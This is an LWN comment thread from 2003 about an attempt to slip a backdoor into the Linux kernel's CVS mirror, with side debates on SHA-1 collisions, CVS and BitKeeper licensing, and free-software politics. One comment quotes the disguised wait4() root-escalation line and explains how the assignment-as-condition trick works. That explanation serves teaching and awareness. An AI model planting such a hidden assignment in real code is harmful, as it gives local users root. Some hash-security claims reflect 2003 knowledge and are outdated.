LWN: Comments on "An attempt to backdoor the kernel"

An attempt to backdoor the kernel

quackduck — Tue, 02 Nov 2021 00:36:15 +0000

Still older!

An attempt to backdoor the kernel

sammythesnake — Wed, 17 Feb 2021 09:39:20 +0000

It's even older now and I'm commenting because a LWN post in the far future linked back to this interesting piece of history!

It's fascinating to read through stuff in the pre-git context!

An attempt to backdoor the kernel

JeffyPooh — Thu, 20 Jun 2019 02:37:47 +0000

Because: Google.

An attempt to backdoor the kernel

LewisMCYoutube — Tue, 02 Aug 2016 19:53:56 +0000

Git is a pleasant-to-use tool. I like pie.

An attempt to backdoor the kernel

hummassa — Thu, 26 Sep 2013 00:17:30 +0000

Why are you commenting in a ten-years-old article?

An attempt to backdoor the kernel

JeffyPooh — Wed, 25 Sep 2013 22:41:19 +0000

This may be obsolete early-1980s nonsense, if so apologies in advance.

Way back then I POKE'd some backspace (^h) characters into some trivial BASIC programs. The ^h in the REM section of each line covered over the actual code, leaving only what I wanted displayed. The net effect was that I had total control over what the BASIC code appeared to be under the LIST command.

I made one little program that appeared to LIST when RUN, and appeared to RUN when LISTed. Another LISTed as PRINT "No No No" but when RUN printed "Yes Yes Yes". It was hilarious at the time. One could do anything, and it was inexplicable.

If applicable, scan your source code for ^h.

Hashes and collisions

Omnifarious — Mon, 16 Feb 2004 14:37:45 +0000

The birthday paradox, applied to SHA-1, means that you must have approximately 1/2**75 separately hashed entities before you start seeing a significant chance of collision.

This is still pretty tiny. So, in theory, hash by value should actually be pretty good. The paper is making the point that, while hash functions are designed to have certain properties, there is no guarantee that they do, and any lapse is catastrophic for algorithms that rely on them that heavily.

An attempt to backdoor the kernel

Wol — Thu, 20 Nov 2003 13:30:46 +0000

Colliding hashes is MATHEMATICALLY INEVITABLE.

It can't, therefore, be a bug.

Being able to generate a file that results in the hash you want, however, most definitely IS a bug, because it is a gaping security hole.

Cheers,
Wol

An attempt to backdoor the kernel

khim — Thu, 20 Nov 2003 06:40:52 +0000

"In theory, practice and theory are the same, but in practice they are different"

Exactly! Here is difference: if we have two systems - one uses SHA1 without any colluisions detection and other uses SHA1 and linked list as backup then version without backup is less reliable in theoty but more reliable in practice!

I'm joking, right ? How the hell version without collision detection can be more reliable ?

No, I'm not joking. You all ussume that you "perfect" program will work on some "perfect" hardware. That's not so. Real CPU, memory, hard disk and other components are not 100% reliable. Thus you program can misdetect even if you algorythm is perfect. And this probability is increased when linked list added as backup for strong crypto hash. For most non-trivial programs this increase is so big that it completely dwarfs mythical SHA1 collisions. Think about it and then try to advocate you backup plans. Preferrable with numbers for hardware in hands, not with some abstract righteosy.

An attempt to backdoor the kernel

graydon — Sat, 15 Nov 2003 04:04:38 +0000

this paper is simple fud. see http://www.venge.net/monotone/docs/Hash-Integrity.html for a detailed response.

warranty disclaimer

giraffedata — Fri, 14 Nov 2003 21:56:33 +0000

1. A warranty disclaimer in Europe is meaningless. You are responsible for some of your actions wether you want it or not.

The second part, "You are responsible..." is also true in the US, and probably everywhere else. The first part, "A warranty disclaimer is meaningless" is not true in the US, and I kind of doubt it is anywhere else either.

In the US, I am responsible for my actions under laws that have nothing to do with warranty: tort law. However, I am responsible for additional things because I gave a someone a warranty. In some cases the law says I give that warranty implicitly, and in some of those cases, the law says I can override that implied warrantee by explicitly disclaiming it.

Here's where freely distributed software comes in: For some of those actions for which I am responsible under tort law, a person may assume the risk from me, in exchange for valuable compensation from me. So in return for my valuable software I may demand from you, instead of cash, indemnity against the risks inherent in distributing software (the risk that through some fault of mine, the software hurts you). Exactly how free we are to make that trade varies a lot from one jurisdiction to another.

And finally, most of the "disclaimers" we see all the time are not warranty disclaimers. They are merely notice that the person does not intend to assume a certain risk, and they serve to defeat ridiculous claims such as, "I would not have parked my car there except that the owner of the building led me to believe he would protect my car."

Possible side-effect: character assassination

Max.Hyre — Fri, 14 Nov 2003 15:50:00 +0000

No one's mentioned a lucky circumstance of this attempt: that the perpetrator used David Miller's name. Mr. Miller's efforts and integrity are too well known for this to be seen as anything other than a falsification. (Besides, if he wanted to insert a back door, he's got lots more effective ways to do it. :-)

But what if it had been labelled as coming from ``Joe Blow'', some rising coder who'd just been given commit permission in the last month or so? Would he be well-known enough to have his protestations of innocence believed? Even if accepted, would not doubt lurk in the minds of many other developers?

Debian developers cryptographically sign every upload. It's a precaution should be more widespread.

McDonald's coffee suit

Max.Hyre — Fri, 14 Nov 2003 14:40:50 +0000

Details of the case. Read before discussing. 'Nuff said.

An attempt to backdoor the kernel

proski — Thu, 13 Nov 2003 21:05:59 +0000

Developers who use CVS correctly would not have this problem. "cvs diff" doesn't include changes made by others.

An attempt to backdoor the kernel

proski — Thu, 13 Nov 2003 21:03:29 +0000

It would complain about legitimate code. Like this:

#ifdef HAVE_FOO
int foo_active;
#else
#define foo_active (0)
#endif

if (foo_active && bar_active) {
    frobnicate();
}

Hashes and collisions

rjw — Thu, 13 Nov 2003 10:47:48 +0000

Erm.

A hash function produces a small fixed number of bits from a large, potentially limitless number of bits.

Just think for one second about that.
Lets take a file on a crappy 32-bit operating system as a limit. And hash it to 160 bits.

How the hell do you think that every one of 2^(2^32) combinations can map to 2^160 combinations uniquely?

Cryptographic hash functions merely make it computationally hard to find a match, and even harder to find a match which contains what you want it to.

An attempt to backdoor the kernel

ekj — Thu, 13 Nov 2003 09:59:17 +0000

Sure. More spesifically, the magnitude of the problem is proportiaonal to the square root of
the other problem. So finding two strings with the same 160 bit hash requires you to
generate and hash on the order of 2^80 strings. I wouldn't loose much sleep over this, but if
you do, there's no problem with going to a bigger hash.

If you could generate and hash 2^30 strings a second (and store all the hashes you already
have created...) you'd still need 2^50 seconds before you'd on the average get lucky.
Everyone designing cryptographic hashes is aware of this issue, which is why the hashes
are so big in the first place.

An attempt to backdoor the kernel

ekj — Thu, 13 Nov 2003 09:43:59 +0000

Actually no. You're wrong.

A Cryptographically strong hash-function (such as sha1) does *not* assume that the inputs are random. On the contrary, it is made under the assumption not only that the inputs are non-random (as changesets are), but even that the inputs may be deliberately choosen so as to provoke a collision.

A hash-function is cryptographically strong even if in this scenario, the chanse of collisions still is no bigger than the mathemathical minimum 1 in 2^num_bits. That is, there is no (known) way of generating different strings such that the probability that the strings have identical sha1sum is higher than 2^num_bits.

It's still true that two changesets (or files or whatever) migth be identical trough pure dumb luck, but if I where you, I'd find something else to worry about, the chanse that a comsic ray will flip a bit in your ram and cause the program to give the wrong result is probably much much higher.

warranty disclaimer

hingo — Thu, 13 Nov 2003 09:34:10 +0000

Hashes aside, I see that Larry of BitMover has collided with The RMS of Europe. Ouch, didn't see that happening, especially since this is not slashdot. Anyway, too late now.

I completely agree with the above clarifications. In summary:

1. A warranty disclaimer in Europe is meaningless. You are responsible for some of your actions wether you want it or not. For Free Software (as in beer, even) a warranty disclaimer might even be an empty statement.

2. This was nothing new, however some rich and twisted people decided to make a fuzz about it. The headlines "GPL is invalid in Europe" were of course only humorous at best.

As for the coffee thing, if I spillt coffee on myself because I was "drinking and driving" and burned myself, I would not want to announce it to the world in a lawsuit that I'm that stupid. This is the difference with US citizens and the rest of the world. I have no need to defend McDonalds however.

henrik

An attempt to backdoor the kernel

spitzak — Thu, 13 Nov 2003 09:10:58 +0000

If the optimizer complained about constant parts of boolean expressions it would still detect this. (foo = 0) is a constant with a value of 0.

Hashes and collisions

hingo — Thu, 13 Nov 2003 09:01:36 +0000

The Birthday Paradox is a different problem. In that, you are asking for the probability of any two persons "to collide". The cracker who wants to inject code into a BK repository, faces the task of constructing a collision for a given file (somewhat equivalent to finding a person with the same birthday as mine). The probability of finding a collision there is much lower (practically impossible with current hashes, with birthdays of course, you only have 365 days to pick from).

henrik

One attempt thwarted

dlang — Thu, 13 Nov 2003 02:47:46 +0000

the bitkeeper engineers were one of those hundreds of eyeballs, they happened to detect it first.

the only way you will have lots of people reporting the same bug is if they don't read what others have discovered and/or there is a long time period between a bug being discovered and it being announced. the normal situation is one person (or a very small number) discoveringa issue and publicising it for others.

even in this case when Larry first posted about this to the L-K list he didn't post 'someone attempted to put a backdoor in the kernel' he posted 'I noticed something strange, can anyone tell me why this happened' and a few posts later he posted the change that was inserted and a few posts after that a few people noticed that it was a backdoor.

Hashes and collisions

dd9jn — Mon, 10 Nov 2003 16:49:54 +0000

You are mixing up simple hash fucntions (e.g. CRC-32) with cryptographic hash functions (e.g. SHA-1). The latter have a couple of important design criteria and thus you won't ever see a duplicated hash value. If you ever find or can construct a different second file hashing to the same value you have broken that hash function with huge consequences for about all cryptographic protocols. Even for the old MD5 algorithms, no collision has ever been found (the often reported weakness found by Hans Dobbertin is on a reduced MD5 variant). Using MD5 or SHA-1 is a perfectly good choice to identify a text.

An attempt to backdoor the kernel

gerv — Mon, 10 Nov 2003 15:46:51 +0000

Here's my simple technical writeup. I posted it on my internal company board. Feel free to send this to anyone (perhaps the slightly less technical, or newbie coders) who is interested in how this exploit works.

Someone recently made an attempt to add a local root backdoor to the Linux kernel, by making a checkin to the subsidiary CVS repository under someone else's name. Fortunately, the master repository is on Linus' computer, behind a firewall, and the automated tracking of BitKeeper, the source control system, caught the illegal change.

All that aside, the inserted code is a very good example of how to add a backdoor in a very subtle manner. It was inserted into the wait4() system call, which is described as follows:

"The wait4 function suspends execution of the current process until a child as specified by the pid argument has exited, or until a signal is delivered whose action is to terminate the current process or to call a signal handling function."

That's just a fancy way of saying that it's a variation on wait(), a call whereby a program tells the OS "I'm waiting for a particular event to happen; let me know when it does". Any process running on a given machine can call it, and you pass it flags telling it exactly what you are waiting for.

The inserted code looks like this:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

What it seems to be doing at first glance, is: "if a particular pair of options are set, and the user is root, then the call is invalid." The two options concerned make no sense when used together, so that seems a fine, if somewhat strangely specific, check to make.

In fact, what it actually does is check for the invalid set of flags and, if set, makes the current user root.

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

Note the single equals sign in the second half of the if test; it's a single rather than a double equals, assignment rather than equality.

The flaw takes advantage of several features of C and Unix.

1) Short-circuit execution. The If test has two parts; the second is only executed if the first is true. So, unless that particular pair of options is set, none of the rest of the code is executed. Normally, those two options would not normally be set together, as they specify mutually-conflicting wait policies. However, there's nothing in the code which prevents you making such a nonsensical call.

2) In C, the return value of an assignment is the value assigned. This is what allows:
a = b = c = 3;
to be valid C; it sets a, b and c to 3.

3) C allows assignment within a logical test. So setting current->uid to 0 within the if test is perfectly valid C. This "feature" is the one that often catches people out with code like:

if (a = 3)
{
do_something();
}

where do_something() executes all the time.

4) The Unix user_id for root is 0, which is logical false.

So, the exploit works like this. If a program a user runs calls wait4() with the two odd flags together, the first half of the if() test fires, the current->uid = 0 code sets current->uid to 0 and returns 0, and the second half fails. This means that the "retval = -EINVAL;" code will never be executed, and the function continues on its merry way, having set the user to root.

gcc, the GNU C Compiler, normally warns about constructs like this. It says "assignment used as truth value". However, if the assignment has a (strictly unnecessary) set of brackets around it, as it is in this exploit code, the warning is suppressed. The attacker must have known that.

All in all, very clever. Almost enough to make one paranoid...

Gerv

re:war

coriordan — Mon, 10 Nov 2003 11:11:15 +0000

Software was going proprietary, so RMS started GNU, Qt was proprietary, so he started GNOME, BitKeeper is proprietary, so he endorsed Arch and it's now a GNU project. It's true that solutions are born from problems, but I wouldn't use this as a basis for supporting the problem :-)

Sounds like the Spanish civil war

vblum — Sun, 09 Nov 2003 22:15:11 +0000

I know - no annoyance intended, thanks for taking the time to respond. I guess I always
have the Trolltech example in mind. I also realize BK and Qt cater to different spaces.

Have fun at the beach! (I should be in the mountains, really ...)

Sounds like the Spanish civil war

lm — Sun, 09 Nov 2003 21:54:25 +0000

Re: could we make a business based on service

The service model has been tried before in this space. We *spend* more in a year providing free services to the open source world than has ever been made from supporting an open source management system. Ask Tom Lord how easy it is to convince people to spend money in this space, he spent the last year begging for enough money to keep his internet connection on.

Contrast that with having to pay a dozen engineers and you start to get the picture.

Re: BitKeeper limits your freedom

I really don't want to argue about this and I would like this to be my last post to this thread (and I'm off to the beach with my family and no laptop so there is a good chance :)

We are sensitive to the needs of the open source world and we do our best. BK has always made it trivial to get the data out of BK if you want to do that. If that's not enough, we built and run the BK->CVS gateway so that the zealots don't even have to touch BK. That's as much as we can do, if it doesn't make you happy, I'm sorry about that, but I can't help you.

re:war

vblum — Sun, 09 Nov 2003 20:30:27 +0000

errm ... just to explain my wording (crimes against humanity) - I wanted to put my own
example back into perspective, and only my own - nobody else had implied anything
remotely similar to Franco et al here, and I just wanted to make sure I could not be misread.
If my implication was that anyone else had - sorry about that.

I do see the freedom-related issues, but there must also be a path to get there; BK seems to
me a reasonable part of that path. Look at Qt vs. Gtk - yes, Qt is now GPL'd thanks to the
tireless pointing to the issue, and the world is now a better place for that. But - without
KDE, I highly doubt that Gnome would have taken off anywhere near the way it did - this
was a beautiful example of how creative competition can work.

If Larry's contribution ultimately ends up making Arch (or whatever else) a stronger system -
great. And if this can be done without hurting Larry's business in the long run (cause he
doesn't seem like a bad guy, and I'm sure he'll be happy to adapt if he can) - all the better.

war

coriordan — Sun, 09 Nov 2003 19:28:55 +0000

BitKeeper offers an immediate practical convenience on condition that we ignore the issue of freedom. If we accept this deal, will we ever have a Free Software SCM that rivals BitKeeper?
We didn't all accept the proprietary Qt. Now we have GNOME, and Qt has been GPL'd.

If Linus chose Arch, the whole community would have benefitted from increased developer interest in Arch. Maybe it would now have the features it lacks compared to BitKeeper.

BitKeeper is not a friend of the Free Software community. It's a friend to Linus, but Linus is not fighting for our freedom.

this here is software, not crimes against humanity!
The software divide between 1st & 3rd world countries is a humanitarian problem. Free Software is a solution.

Sounds like the Spanish civil war

vblum — Sun, 09 Nov 2003 17:58:04 +0000

IMO, one of the saddest spectacles in history is the Spanish civil war. It was lost not
necessarily because the republican forces were weaker than their fascist opponents. It was
lost because different factions among the antifascists attempted to eat one another at a
time when they should have stood together.

Not that Free Software vs Big Money is even remotely similar to that - for all their market
dominance and strategies, Microsoft et al. have a many good people and have nothing to do
whatsoever with people the likes of Franco - this here is software, not crimes against
humanity!

But the lesson is an important one - in Spain, the idealists failed miserably because they
refused to distinguish between their friends and their true enemies. It's a history well worth
a read - it makes you want to cry.

Ciaran: I respect your stance for free software (and usually appreciate your comments; I only
respond because I think this thread is over the top). However, is it really a good idea to
alienate those who are actually on our side? For all the "proprietary or not," Larry has done
the FLOSS community a rather material favor. He could have chosen otherwise.

Larry: I read many of your posts on why you keep BK licensed as it is; and, I see your need to
run a business carefully to keep it stable. But: How certain are you that you could not (in the
longer-term future) get away with a service + dual licensing model (such as Qt et al)? I
realize that your customer base are developers, and that makes it difficult - these people
are the very people that know how to clone and run a development-oriented system.

On the other hand, your customers also face deadlines (at least if they're in big companies)
- they might just pay for service from the source. Dual licensing would likely appease this
unfortunate noise that keeps surrounding your substantial and, presumably, widely
appreciated contributions. That noise must be exasperating, too - any thoughts?

cheers, V.
(Armchair General)
[my content management is reiserfs; my IDE is emacs]

An attempt to backdoor the kernel

Stephen_Beynon — Sat, 08 Nov 2003 18:54:55 +0000

You could only do that if you manage to find a way of generating a block
of data with a pre-determined hash. The problem of finding 2 blocks of
data which generate the same hash (any hash) is a far smaller problem.

Silly zealots

lm — Sat, 08 Nov 2003 15:37:41 +0000

You're right, you figured me out. I joined the kernel development 10 years ago, worked with Linus for years, all the while carefully planning to use them to make money.

And even though I was the 4th person at Google, and even though it was obvious that I could make tons of money at Google, I choose to leave that place and start a source management company because I thought that would make *more* money than Google. And you, with your incredible insight, have seen through my dastardly plan. Rats! Foiled again!

Arch documentation

coriordan — Sat, 08 Nov 2003 07:44:51 +0000

You only solved a problem you created. If it was Arch and Arch2CVS, anyone and everyone could be running integrity checks, but you've created central control.

BK bashing on lkml was bad advertising, so you made a gateway to hush the protestors. Yes you are putting effort into your plan, it's a pity Pavel didn't finish his clone, and it's unfortunate that Linus trades away his freedom.

"more than $100K a year to do what we do for you"
You don't do anything good for me, you just make my job harder. Your free hosting for open source projects is just part of your marketing plan.
You "have to have a profitable business"? so do microsoft. You've chosen the same business method as them, but you target a harder userbase so you have to make a few more concessions. Don't think that people will call you a samaritan for these concessions.

Arch documentation

lm — Sat, 08 Nov 2003 05:52:53 +0000

Just out of curiousity, how do you reconcile your obviously negative view of our company with the undisputed point that we just did the free software world a pile of good? If your precious open source tool was the one that was used this security flaw would likely be in the kernel right now.

While you are at it, how do you reconcile your obviously negative view with the fact that we produced a BK->CVS gateway so you can have the source you want in a 100% God fearing politically correct form? You're quick to jump on anything that supports your point of view, but isn't it interesting that this evil company is the one that is actually _doing_ the work that needs to be done? Pavel & Co are great at making noise but have you looked at the code? There isn't any.

If you were to stop and think for a minute you'd realize that we have to have a profitable business if we are going to keep on giving out the support that we do to open source world. It costs us more than $100K a year to do what we do for you, actually, a lot more than that now that I think of it, it's probably more like $250K or so. You're oh so eager to beat us up when we protect the very money it is that we use to help you but I don't see you coughing up that cash, that time, that software, or that support. I'm open to a better way to do things but in case you haven't noticed, nobody else has stepped forward with anything except a lot of talk.

Arch documentation

coriordan — Sat, 08 Nov 2003 05:28:57 +0000

So you legaly promise crappy support, but you actually give very good support whenever possible. ok.

"So why pick on us?" - It's nothing personal, I reject all proprietary software.

"we are a company who has given away their technology to help your cause"
You have developed software, but you have decided to use copyright law to prevent users from helping themselves or eachother. This decision to exert power over your users completely contradicts my cause.

Your decision to use secret file format/protocols to prevent competition reminds me of why proprietary software must be rejected. Your business model relys on control, and to this end it compels you to do whatever's neccessary to maintain this control. Like when Pavel Machek started to write a BKclone at home on his own time, you contacted Pavels boss, asking him to pressure Pavel into not writing the software, you even complained that Pavels boss should have made him choose between that home project and keeping his job.

No level of warranty can makes it okay to treat people this way. People deserve freedom.

One attempt thwarted

lm — Sat, 08 Nov 2003 03:12:42 +0000

> this attack was detected by the 'hundreds of eyeballs' approach,
> only one eye saw it becouse he was the only one looking for this,
> but in the 'traditional' closed-source approach that person would
> not have been looking

That's nonsense. This attack was detected because BitMover trains their engineers to be paranoid, end of story. There were "hundreds of eyeballs" that could have detected this, why didn't they? Gimme a break. It's pathetic of you to try and turn this into an open/closed argument, it has nothing to do with either. This was detected because we train our engineers to be competent. You can have good engineers in the open source world and good in the closed source world, and I'll remind you it was an open source system which was attacked.

As Linus said "it's telling that it was the CVS tree and not the BK tree that somebody tried to corrupt."

Arch documentation

lm — Sat, 08 Nov 2003 02:58:32 +0000

> Larry said a lot of things. Some were quite confused.

Funny, I don't feel confused. I must be so confused that I don't realize I'm confused :)

Our license is standard boilerplate, it's no different than other license and that's with good reason. The boilerplate exists because of previous lawsuits and changing it is not a good idea.

I'll tell you a story about that. Our original commercial license was written by me and it was a license you would have loved. It had a clause in there that said if you hit a severe bug and we wouldn't or couldn't fix it promptly, we'd come to your site and pull your data out of BK and put it into the source management system of your choice, retaining all revision history such as dates, user names, etc. A large two letter company that builds chips took offense at this clause. How could that be possible? The clause was designed to make the customer feel good, we were standing behind our software to the extent that we'd drop everything and help the customer if something went wrong (a policy which we have to this day even if it isn't in our contract, ask any BK user).

The company pointed out that it was just fine if we did that for them, but suppose we had sold a pile of seats to Sony Japan. And Sony had some problem and half our engineering team had to fly to Japan to extract the data and put it in Arch which was just not done yet so we had to sit there and fix Arch as part of the contract. Where does that leave our two letter company? They are getting crappy support because we are off honoring a contract clause that put us at too much risk.

Think about that. It's really smart. They were looking ahead and they educated us as to why it is bad to be different. It's certainly OK to be a little different but in general you want to do things the way other people do them because those ways have withstood the test of time.

Beating us up about our boilerplate is just silly and naive. You might as well attack 100% of the companies which ship commercial software. You haven't found anything that is different in our license from theirs, it's all the same. So why pick on us? Especially given that we are a company who has given away their technology to help your cause, given away hardware and bandwidth to help your cause, given away salaries to help your cause, and this whole thread is about how we prevented a trojan horse from getting into Linux.

And you're attacking us? It's hard to see how that makes sense for anyone other than a zealot and that doesn't help your cause, it hurts it.

An attempt to backdoor the kernel

coriordan — Sat, 08 Nov 2003 02:03:47 +0000

Thanks for the comments, and to bajw too.

Georg Greve (president of FSFeurope) might be the closest thing Europe has to an RMS, but I'm sure most people haven't heard of him. Digital freedom needs so much work, that people working on these issues usually don't have time to contribute to public fora like LWN. So this leave such fora filled with a high percentage of contribution by armchair generals etc., and I think this sucks, so I make time for LWN, and sometimes lesser fora such as slashdot.

Regarding the enforceability of the GPL in europe, I second ber's info, as for McDonalds coffee, RMS mentions it in this article.

It's interesting that ber mentions FS being a gift in Germany. Last year a law professor proposed a law to forbid the gift transfer of copyrighted material without reasonable compensation. His aim was to prevent musicians being ripped off by the recording industry, but he hadn't realised that this put distribution of FS in jeopardy. Georg Greve, and the others in FSFeurope and another org called iFROSS, got an FS exception added to the law, and FS was safe again. But since he deosn't post to LWN, most people didn't hear of this ;-)

Arch documentation

coriordan — Fri, 07 Nov 2003 21:50:20 +0000

> That is consistent with what Larry said earlier.

Larry said a lot of things. Some were quite confused.
He compared Free Software to commercial software, so I gave an example that is both.

and he said that "Commercial software has to be paranoid, it's part of the deal", so I pointed out that his company disclaim virtually all warranty, and that GNU Arch support is available.

So, with commerce, support, and warranty out of the way, I think the only thing that no one addressed was my LKML quote about competition and proprietary file/protocol-format lock-in tactics:
If you are trying to copy BK, give it up. We'll simply follow in the footsteps of every other company faced with this sort of thing and change the protocol every 6 months. Since you would be chasing us you can never catch up. If you managed to stay close then we'd put digital signatures into the protocol to prevent your clone from interoperating with BK. -- Larry McVoy, LKML

An attempt to backdoor the kernel

zooko — Fri, 07 Nov 2003 18:55:45 +0000

If you can find collisions in SHA-1, you can probably use that to forge digital signatures and gain remote authorizations to any system that uses cryptography for authentication. (This includes, among others, any system which uses SSH, TLS, or a cryptographically authenticated VPN.)

Is it a lawsuit waiting to happen to run sshd?